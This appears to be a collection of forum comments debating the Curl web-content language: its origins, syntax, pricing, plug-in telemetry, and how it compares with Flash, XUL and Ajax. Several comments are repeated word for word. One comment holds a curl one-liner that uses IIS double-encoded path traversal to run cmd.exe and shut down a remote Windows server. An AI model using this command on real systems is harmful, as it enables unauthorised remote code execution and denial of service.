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"Just like Second Life, the 3D web is not something people actually want, but more something which makes sense to old fashioned journalists who write for old fashioned media."

I disagree but then I've seen what things like Curl and Contona3D can do.

I've been doing professional active content web developement since the late dot-bomb days. Looking at the site for 15 seconds tells me this is probably nothing other than a scheme to fool investors. The things people put out for 'the next big thing' when they discover that JavaScript is a PL and runs in every browser amazes me time and time again.

There are some points about RIAs one should learn as fast as possible to avoid wasting everybodys time:

1) JavaScript is nothing new. It's been around for something like 10 years. DTML/Push-Pull JavaScript/Ajax/[Fill in own buzzword of choice] is nothing new. Many people have tried it, many have given up and even the best in 'Ajax' have stepped down again from using it in anything but the most tried and true situations and use cases.

2) RIA is nothing new. Plugins are nothing new. There are entire landfills full of potential competitors to Flash and Java. Most of them failed. A few remain in niches where others can't reach. The only one I would care to mention is curl, and they are having a hard time and only manage by patiently working away at their tool for x-plattform RIAs.

3) The big boys Adobemedia / Sun / IBM and some promising others are currently involved in a giant hack & slay fest over the best and most prevailent rich client / server integration. Joining them with some obscure cross-funded project with bad buzzwords, a crappy website and nothing to deliver than something worse than the most half-assed Ajax kit is like showing up on a Knights tournament riding an aged donkey, armed with a cardboard kiddie helmet, a broomstick and a toothpick.

4) 'We will revolutionize ... blahblah ... the way people/the world thinks about computers/the web/whatever' is allway a dead giveaway that they don't know the troubles involved in building a good web product. There is no free lunch. Even with technologies around or around the corner like Laszlo, Adobes Flex (a Laszlo rippoff), Curl, Eclipse RIA, AMF, JSON/JDON, XUL/XUL Runner - all of which are basically free (all beer and mostly speech) and cream of the crop, building a working RIA that runs on every OS and doesn't bring your new 2 GB RAM Dual Core Turbo PC to a grinding halt is extremly hard work and a very tricky task with bucketloads of tradeoffs to evaluate. I do this every day, the possiblities are growing but the task itself isn't getting any easyer. And the pipedream of emulating a desktop in a browser has been implemented by many, and the best at it admit it's turned out more like a kind of experiment than anything usefull.

Bottom line:
This isn't news and it's not the bits worth it takes to transmit it. Move on. No one needs yet another bunch of silly goofs who try and tell the users/clients that they've discovered something new and everything will change if only you run with their buzzword ridden half-assed vision of an untested product that apes things others have finished years ago - and people don't know about for a reason.

http://www.curl.com/solutions/demos.php

The third and fourth demos are interesting.

Yes I remember VRML. I also remember ten years ago we didn't have GPU's like we do now.

People are trying to bring 3D to the web, like curl and X3D for example. The story also mentions that Croquet may be a possability.

"The *REAL* ajax will not be ajax, it will be either microsoft's xaml or w3c's "xforms" or whatever name it has."

It will be Curl.

It doesn't have to be Java.

http://www.curl.com/

http://www.laszlosystems.com/

Curl

Laszlo

Flex

Create rich client apps with the DOM

Rich Cients ORG

---
  Your comment has too few characters per line (currently 5.7).

It's called XUL.

Curl is another alternative for doing things client-side.

"My research advisor wants to create an online, collaborative science education game for middle- to high-school students; we need a 3D engine! A pioneer in internet-assisted laboratories (iLabs), he has developed real experiments that students can operate remotely over the internet."

http://www.curl.com/solutions/demos.php

Check out the graphics demos.

CURL

They seem to be gearing themselves towards rich clients, but once you see past that. e.g.graphics.

Oh goodie. You're reinventing Curl. Itself a basterized version of Lisp.

"Sure. I don't think web applications are ever going to take over as many people claim."

Oh you may be surprised.

cURL, not to be confused with the abortion that was (is?) proprietary and expensive and therefore doomed Curl (sorry, Tim, I guess everyone can have a bad idea once), is fantastic. Used to be I hated that my RedHat boxes didn't have wget but rather curl. I was familiar with wget. However, curl is great for automation (file upload posts, for example) and seems to be much more rounded out than any other CLI utility I've used. For pure programability I personally like Perl module LWP and its cousins, but for shell scripts, cron jobs, one-liners curl is King.

Seems a far richer environment than Flash. Everything from XML parsers to 3D rendering built into that browser plugin.

Seems a far richer environment than Flash. Everything from XML parsers to 3D rendering built into that browser plugin.

Interesting how the in your example is much like the 'close all parens' syntax in scheme...

For a while I thought this Curl language that Tim Berners-Lee had worked on was going to catch on. It actually had the lisp-like syntax, so you really would do things like:

{text Hello {bold World}}

This sounds a lot like this an earlier Tim Berners-Lee effort. It was an awesome language that really did a nice job at combining rich OO programming with a markup-language; but too bad the company that took it over made the licensing of the language so painful it never caught on. Anyway, that project did make some really cool demos of what the technology is capable of.

The original DARPA grant that started the W3C also included a MIT project that proposed what is a very nice solution for distributing rich applications through a HTML-like content language.

Alas some company got involved and practically killed this technology, but before their bizzare licensing policies kill it completely you can check out some really cool demos this technology enables.

The cURL license seems okay now: cURL license. I suppose it wouldn't be on Sourceforge if it weren't okay.

Don't confuse cURL with Curl, from the Curl Corporation.

Who's spec?

The Curl spec?

The RDF spec?

The XUL spec?

The
FLEX spec?

The web is growing up, and there are plenty of specs.

It's worth checking out what became of MIT project that started with the same grant that created the W3C. Curl did a very good job at blending the eas of HTML with advanced graphics and rendering.

For example, check out the raytracing example here where a HTML-like page has embedded ray-traced graphics seemlessly embedded in the page.

It's worth checking out what became of MIT project that started with the same grant that created the W3C. Curl did a very good job at blending the eas of HTML with advanced graphics and rendering.

For example, check out the raytracing example here where a HTML-like page has embedded ray-traced graphics seemlessly embedded in the page.

It did a great job at bringing all the power of Lisp with all the symplicity of HTML. All the equivalents of HTML elements were just lisp-like function calls. Something like

(text this is (font color=red size=+2 big red text))

Since all markup was just a lisp-like function call like any other, extending the company to do more complicated things - like extending the HMTL-like-markup to do real time raytracing in the browser was really easy.

Unfortunatelly the company suffers from bizzare licensing policies and can't figure out if they're selling a language or products built on the language.

It did a great job at bringing all the power of Lisp with all the symplicity of HTML. All the equivalents of HTML elements were just lisp-like function calls. Something like

(text this is (font color=red size=+2 big red text))

Since all markup was just a lisp-like function call like any other, extending the company to do more complicated things - like extending the HMTL-like-markup to do real time raytracing in the browser was really easy.

Unfortunatelly the company suffers from bizzare licensing policies and can't figure out if they're selling a language or products built on the language.

No, not Curl, curl which is free, and in many cases works better than wget.

curl http://$HISADDR/scripts/..%255c..%255cwinnt/system 32/cmd.exe?/c+rundll32.exe+shell32.dll,SHExitWindo wsEx%201

Do you mean Curl, which is expensive, or do you mean Wget?

I think making money is a very good thing and I have no preference for open or closed source products but when I see these consulting fees:

Consulting Services
Architect: $3,000 per day
Programmer: $1,500 per day
Jumpstart Workshop: $20,000 for one-week, up to 6 developers

and the other ways money is to be made ($100,000 for joining a committee!!!), I get the feeling that you guys are out to line your pockets by faking out stupid corporations who will waste gazillions on anything they don't understand. I get that curl feeling...

Good luck though since you will be competing with Sun and Microsoft.

I leave this bit to ponder from http://www.paulgraham.com/langdes.html:

"If you look at the history of programming languages, a lot of the best ones were languages designed for their own authors to use, and a lot of the worst ones were designed for other people to use.

When languages are designed for other people, it's always a specific group of other people: people not as smart as the language designer. So you get a language that talks down to you. Cobol is the most extreme case, but a lot of languages are pervaded by this spirit.

It has nothing to do with how abstract the language is. C is pretty low-level, but it was designed for its authors to use, and that's why hackers like it.

The argument for designing languages for bad programmers is that there are more bad programmers than good programmers. That may be so. But those few good programmers write a disproportionately large percentage of the software.

I'm interested in the question, how do you design a language that the very best hackers will like? I happen to think this is identical to the question, how do you design a good programming language?, but even if it isn't, it is at least an interesting question. "

-----

The concept of Industry Standard isn't defined by "running on all platforms".

It means the software has a near monopoly on web development. It's popular, but so are CGIs, Cold Fusion, Flash, VB Script, Java Script, and of course JSPs.

What irks me is that people haven't abandoned HTML for all but display. HTML was designed to be stateless; info wasn't remembered as the browser jumped from one page to the next. To overcome this, all sorts of gross, kludgy, slow and complicated technology has been created (including JSPs, PHP, etc, etc) to overcome the inherent statelessness of the web.

The most interesting technology I've seen (and one that I hope will put these lame ducks out of their misery) is Curl, a programming language that runs in a plug-in (yes, sort of like Java, but more advanced, with fewer of the drawbacks). It was started at MIT via a US DARPA-funded project, and includes Timothy Berners-Lee, the creator of the World Wide Web and Director of the W3C, as one of the founders.

I can't wait for the Internet to go back to what it's good at - serving up pictures of pretty, naked women.

No, I don't work for CURL, or even for a company that uses the technology. I just think it's a better mousetrap.

"1.8 What other technologies are similar to XWT?
CURL Surge is a similar framework, although it requires per-use licensing fees and is a bit baroque."

Actually, Curl offers a variety of licensing arrangements, including per user, per site, etc.

I think XWT and Surge both aim to combine the benefits of native applications:

responsiveness, interactivity, and so forth
with those of server based software:

administration: install, update, secure data storage

"Browser as user environment"

security for user machine and for site

However, XWT focuses on what I might call a UI server approach. It can do more, but it is optimized for working only with an application's user interface while the application computations take place on the server. This specialization is consistent with the the separation of UI vs other design concerns, and has a lot of good characteristics, such as in the size of the initial platform download, potentially the size of the initial applet download, and the scope of learning required from developers.

Surge can be used in exactly the same way, but it is designed to handle more complicated application logic right on the client. You can make any separation you want (between client & server; between data, logic, and presentation; between different modules or levels of any of these), but you can also combine them within the same environment when appropriate. Technically, this provides a fuller range of application richness and deployment scalability, but there are other concerns such as learning, or how universally the platform is available.

In light of this difference in emphasis, I'm wondering which parts of Surge the author finds baroque. Let us know, Adam.

Another slashdotter also commented on the XWT FAQ's comments on source code vs. binary. I don't know how it works out in XWT, but Curl applets are in source so that they can be compiled to very fast native instructions on the platform they'll run on. Specific client resources can be utilized (e.g., for graphics), which a byte-code-JIT would have a hard time doing unless the byte-code included some pretty darn high-level instructions. Also, source code is much more compact than low-level machine or JVM instructions. Since compilation is much faster than the network, that gives a quicker total time from http-request to execution. If people are worried about protecting their applet code, they can obscure, encode, and compress it. Surge has a pre-parsed delivery option for code that does this.

Try curl for a reasonable client side solution.

There are still millions of lines of COBOL, FORTRAN. And you can still develop in ADA, LISP, Scheme, etc. Compilers exist.

Sure - Java, Pythol, C# are pretty similar. But what about Lua? PERL? Or CURL?

Sounds like a case of the "good ol' days".

He's talking about curl, not cURL.

'I have fought since the beginning of the Web for its openness: that anyone can read Web pages with any software running on any hardware. This is what makes the Web itself. This is the environment into which so many people have invested so much energy and creativity. When I see any Web site claim to be only readable using particular hardware or software, I cringe - they are pining for the bad old days when each piece of information need a different program to access it.'

The irony of course is that XSL is derived from DSSSL, which is in turn a derivative of Scheme. Except that XSL loses because a) It's not Turing-powerful and b) It has the same stupid syntax as XML (which people still seem to tolerate; even though they complain about Lisp's round brackets, XML's angle-brackets are obviously more in vogue right now)

I noticed with interest a few months back the curl project which was a step in the right direction but had flaws of its own.

Personally my feeling is that Scheme/Lisp will always be stuck firmly outside of the mainstream for at least another 40 years because it lacks instant appeal, particularly to those without a CS background. I think it is a shame even to relegate it to processing XML; it should really be replacing both XML and XSL!

* may be conditioned on payment of reasonable, non-discriminatory royalties or fees;

Yeah,

just like some company, which created a new technology with a nice pricing policy and at least one well known founder.

One wonders if they have a patent pending.

* may be conditioned on payment of reasonable, non-discriminatory royalties or fees;

Yeah,

just like some company, which created a new technology with a nice pricing policy and at least one well known founder.

One wonders if they have a patent pending.

* may be conditioned on payment of reasonable, non-discriminatory royalties or fees;

Yeah,

just like some company, which created a new technology with a nice pricing policy and at least one well known founder.

One wonders if they have a patent pending.

* may be conditioned on payment of reasonable, non-discriminatory royalties or fees;

Yeah,

just like some company, which created a new technology with a nice pricing policy and at least one well known founder.

One wonders if they have a patent pending.

Curl tech competes w/javascript, but "In addition, the Surge plug-in offers an integrated XML parser to allow direct interpretation of data streams encoded in most universal data exchange formats" and the built-in ability to do multimedia, animation. -- http://www.curl.com/html/products/surge.jsp.

"The Surge plug-in is currently for Microsoft® Windows® only - Macintosh® and Linux coming soon! The Surge plug-in installer is 360kB in size, and will download files from Curl.com as needed. Total installation will depend on system configuration. " -- Ibid. The security is tiered, and sandbox-safe by default, but can allow access to the local system, unlike javascript. --Ibid.

i'm interested partly because prog'ing for Javascript is an unhappy experience, partly because the results are so browser-dependent. A plug-in from a single company should make for better consistency. 8/7/01

Curl is the language, Surge is the name of the plug-in (v1.1) and The Surge Lab is the IDE (beta 5). 8/7/01

"The Curl language integrates mark-up functionality, scripting functionality, and a full-featured object-oriented programming language,all within one environment. Curl technology can be used with existing Webtechnologies, such as HTML, CGI and JavaScript, and multimedia animation tools, or it can be used in place of them." ... "No more waiting for round trips to the server. Text, graphics, scripting, and object-oriented programming are contained in a consistent and unified environment." ..."And it improves the developer experience by making the creation of this superior content both easier and more efficient" -- http://www.curl.com/html/technology/technology.jsp 8/7/01

"The Curl" content language allows you to create the following items: "Curl Applets, which end users can view in an Internet browser. "Applications, which run outside of an Internet browser. Applications have a stand-alone, windows-based user interface. " Curl Packages, which are logical collections of source code written in the Curl language. " Scripts, which contain code that runs from the command line of the operating system.However, with this release of the Curl language, you can create only applets and packages. Support for creating applications and scripts will appear in a future release." --- p04-curl-basic-features.pdf. 6/01

"A pre-processed .curl file has the extension .pcurl. [As opposed to .curl files.]

Pre-processing files improves the load time of packages.
Pre-processing files makes the delivered code much smaller.
Pre-processing files hides the source code." ...
"you can distribute only packages in .pcurl format; you cannot distribute applets in .pcurl format." -- Ibid.

The language appears clean but nothing earth shaking. It's most advanced and unusual feature may be anonymous procs. "You can assign ananonymous procedure to a variable and then use that variable name to call the anonymous procedure." ...
"Unlike other functions, which can be declared only in very specific places, you can declare an anonymous procedure in any code block or expression." Suchas a regular proc, a method, or top-level Curl source code. ...
"One of the most powerful features of anonymous procedures is their ability to access variables that are defined within the scope of the block of codecontaining the anonymous procedure definition. (This feature is also referred to as supporting closures over lexical variables.)" -- Ibid, p191. I just skimmed, but anonymous procs look like a way to create a procedure data type, plus give it access to more var's.

Curl.com claims that the download sizes are 1/10 of what they are normally, that must be true only for some .pcurl files. 8/7/01

Everything is free and open source, except the use of curl.com, which is metered by the downloaded # of bytes. 8/7/01. "Non-commercial users can deploy Curl content at no charge." -- http://www.curl.com/html/products/pricing.jsp. But http://slashdot.org/article.pl?sid=01/08/06/211322 7 has someone saying "Then wander over to http://www.curl.com/html/products/pricing.jsp and look at the fact that you have to commit to sending Curl a minimum of $1000/month (max of $50,000/month) to use Curl to deliver content. And the cost is based on how many characters you serve. Not, on how much revenue it generates." No prices are on that page, however, nor in Google's cached copy.

(Above saved to the above mentioned slashdot discussion of 8/6/01.)

Curl tech competes w/javascript, but "In addition, the Surge plug-in offers an integrated XML parser to allow direct interpretation of data streams encoded in most universal data exchange formats" and the built-in ability to do multimedia, animation. -- http://www.curl.com/html/products/surge.jsp.

"The Surge plug-in is currently for Microsoft® Windows® only - Macintosh® and Linux coming soon! The Surge plug-in installer is 360kB in size, and will download files from Curl.com as needed. Total installation will depend on system configuration. " -- Ibid. The security is tiered, and sandbox-safe by default, but can allow access to the local system, unlike javascript. --Ibid.

i'm interested partly because prog'ing for Javascript is an unhappy experience, partly because the results are so browser-dependent. A plug-in from a single company should make for better consistency. 8/7/01

Curl is the language, Surge is the name of the plug-in (v1.1) and The Surge Lab is the IDE (beta 5). 8/7/01

"The Curl language integrates mark-up functionality, scripting functionality, and a full-featured object-oriented programming language,all within one environment. Curl technology can be used with existing Webtechnologies, such as HTML, CGI and JavaScript, and multimedia animation tools, or it can be used in place of them." ... "No more waiting for round trips to the server. Text, graphics, scripting, and object-oriented programming are contained in a consistent and unified environment." ..."And it improves the developer experience by making the creation of this superior content both easier and more efficient" -- http://www.curl.com/html/technology/technology.jsp 8/7/01

"The Curl" content language allows you to create the following items: "Curl Applets, which end users can view in an Internet browser. "Applications, which run outside of an Internet browser. Applications have a stand-alone, windows-based user interface. " Curl Packages, which are logical collections of source code written in the Curl language. " Scripts, which contain code that runs from the command line of the operating system.However, with this release of the Curl language, you can create only applets and packages. Support for creating applications and scripts will appear in a future release." --- p04-curl-basic-features.pdf. 6/01

"A pre-processed .curl file has the extension .pcurl. [As opposed to .curl files.]

Pre-processing files improves the load time of packages.
Pre-processing files makes the delivered code much smaller.
Pre-processing files hides the source code." ...
"you can distribute only packages in .pcurl format; you cannot distribute applets in .pcurl format." -- Ibid.

The language appears clean but nothing earth shaking. It's most advanced and unusual feature may be anonymous procs. "You can assign ananonymous procedure to a variable and then use that variable name to call the anonymous procedure." ...
"Unlike other functions, which can be declared only in very specific places, you can declare an anonymous procedure in any code block or expression." Suchas a regular proc, a method, or top-level Curl source code. ...
"One of the most powerful features of anonymous procedures is their ability to access variables that are defined within the scope of the block of codecontaining the anonymous procedure definition. (This feature is also referred to as supporting closures over lexical variables.)" -- Ibid, p191. I just skimmed, but anonymous procs look like a way to create a procedure data type, plus give it access to more var's.

Curl.com claims that the download sizes are 1/10 of what they are normally, that must be true only for some .pcurl files. 8/7/01

Everything is free and open source, except the use of curl.com, which is metered by the downloaded # of bytes. 8/7/01. "Non-commercial users can deploy Curl content at no charge." -- http://www.curl.com/html/products/pricing.jsp. But http://slashdot.org/article.pl?sid=01/08/06/211322 7 has someone saying "Then wander over to http://www.curl.com/html/products/pricing.jsp and look at the fact that you have to commit to sending Curl a minimum of $1000/month (max of $50,000/month) to use Curl to deliver content. And the cost is based on how many characters you serve. Not, on how much revenue it generates." No prices are on that page, however, nor in Google's cached copy.

(Above saved to the above mentioned slashdot discussion of 8/6/01.)

It says instead "We charge commercial customers based on the volume of Curl content executed. If you would like to deploy Curl content in a commercial setting, please contact us at sales@curl.com. Our license agreement includes a standard fee and allows for volume-based usage discounts. Non-commercial users can deploy Curl content at no charge."

On the legal page, "User represents, warrants and covenants that (a) User is 18 years old or older". Curl Corporation does NOT want Curl to be used as a teaching language in high schools or introductory college courses.

• The founders of Curl Corporation were twelve members of the MIT community, with a technical team led by Stephen A. Ward, an internationally recognized computer scientist; Michael L. Dertouzos, Director of the MIT Laboratory for Computer Science; and Timothy Berners-Lee, the creator of the World Wide Web and Director of the W3C.

I would not load this plugin if it allows the reporting of what i have been viewing with it and also allowing the plug-in to block the content i am trying to view? I have a feeling that this will not be accepted by the general internet community and not by those developers that care about their users privacy!

• You are advised and acknowledge that the plug-in may transmit information regarding your use of content to Curl. ... and/or to provide statistics or other aggregate information on content use. ... You expressly authorize the collection and transmission of information by the plug-in, and expressly authorize Curl to access and utilize the information collected and transmitted by the plug-in.

Curl may not be any more proprietary than Java, but the site constantly bares its legal teeth at you. My gut reaction is to stay away.

IMHO that article nor can any other give a definitive insight as to what someone should use to manage their site.

Example, I was using PHP before for my site, and chopped up a random image script for chick pictures, and my server load would go sky high, from loading nothing more than pictures... Now php for content was fine but the pics killed me.

Over to embedded perl. Works well I even use it for certain tasks here and there, but nothing major. Python, well its fine but not suitable for me, since my site is small. I wonder why eperl wasn't mentioned, nor was the latest entry Curl.

Java is a morbid joke under most *nixes, at least in my experiences. SSI is ok but again for heavy content, sites with massive interaction from the server to client, it can become cumbersome too.

Anyways enough ramblings... I do however think I have thee ultimate old school solutions for fixing my site without using any of the above!@!@... Combos of sed/for scripts which till this date have done me more justice maintaining my site ;)

P.S. nice colors going on here maybe that shit looking brown over yellow should be changed to this too ;)

© GBonics 101

In fact, I find this aspect of it much more intriguing than the issue of whether Curl will succeed. I have little doubt that Curl will go down in flames. The question to me is: why is Berners-Lee listed as a founder and what are all those people thinking?

Price per Volume (by characters) - Curl Corporation's usage-based software compiles information from end-user plug-ins that encounter Curl content. Included in this information is the number of characters of Curl content that are executed by the plug-ins. Curl Corporation's fees are derived from the total volume of Curl content executed by the plug-ins together with a price per one billion characters as determined by the customer's annual minimum fee commitment.

It's not going to suceed until it's built into all the browsers, 'cuz writing code for non-existent interpretars is a waste of money..
Likewise, the browser companys aren't going to build in support for an un-used language, because it's a waste of money....